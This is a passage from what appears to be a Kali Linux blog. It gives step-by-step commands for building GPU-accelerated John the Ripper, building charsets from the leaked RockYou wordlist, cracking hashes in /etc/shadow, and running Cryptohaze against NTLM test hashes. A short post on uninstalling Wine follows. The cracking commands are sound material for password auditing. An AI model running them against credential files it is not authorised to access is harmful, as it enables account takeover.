cd john-1.7.9-jumbo-7/src

./configure
make
make clean linux-x86-64-cuda


** If your hashes or passwords are longer than 8 characters, you need to change the following before compiling the John.

cd john-1.7.9-jumbo-7/src
nano params.h


Then change from "8" to "18" or "20" and etc.

#define CHARSET_LENGTH 8

Test the John the Ripper

cd /root/hacking/john-1.7.9-jumbo-7/run

./john --device=0,1,2,3 --format=sha512crypt-cuda /etc/shadow


* since I have 4 GPUs, so the --device should be 4.

*** When you changed the CHARSET_LENGTH, you need to generate a new charset. Do it once only.

wget http://downloads.skullsecurity.org/passwords/rockyou.txt.bz2
bunzip2 -d rockyou.txt.bz2
cp rockyou.txt /root/hacking/john-1.7.9-jumbo-7/run

cd /root/hacking/john-1.7.9-jumbo-7/run

cat rockyou.txt | sed 's/^/:/' > rockyou.pot

mv all.chr all.chr-original
mv alnum.chr alnum.chr-original
mv alpha.chr alpha.chr-original
mv digits.chr digits.chr-original
mv lanman.chr lanman.chr-original

./john --pot=rockyou.pot --make-charset=all.chr
./john --pot=rockyou.pot --make-charset=alnum.chr --external=filter_alnum
./john --pot=rockyou.pot --make-charset=alpha.chr --external=filter_alpha
./john --pot=rockyou.pot --make-charset=digits.chr --external=filter_digits
./john --pot=rockyou.pot --make-charset=lanman.chr --external=filter_lanman


Then your cracking command will be :

./john --pot=rockyou.pot --device=0,1,2,3 --format=sha512crypt-cuda /etc/shadow

Install and Test Cryptohaze

cd hacking
wget http://sourceforge.net/projects/cryptohaze/files/Cryptohaze-Linux_x64_1_31a.tar.bz2/download -O Cryptohaze-Linux_x64_1_31a.tar.bz2

tar xjvf Cryptohaze-Linux_x64_1_31a.tar.bz2

cd /root/hacking/Cryptohaze-Linux
./Cryptohaze-Multiforcer -h NTLM -c charsets/charsetall -f test_hashes/Hashes-NTLM-Full.txt


That's all! See you.

Wednesday, October 01, 2014

HOWTO : Uninstall a specific software/package in Kali Linux 1.0.9

Since I need to run Ollydbg for a while, I then installed Wine in Kali Linux. When I no longer require Ollydbg, I would like to uninstall Wine. However, there are a lot of dependencies for the Wine. When you uninstall Wine with the following command, you will uninstall a lot of software or packages that may be useful for you, such as Gnome.

apt-get --purge remove wine

A more safety way to uninstall Wine should be as the following :

dpkg --remove --force-depends wine-bin
dpkg --remove --force-depends wine


That's all! See you.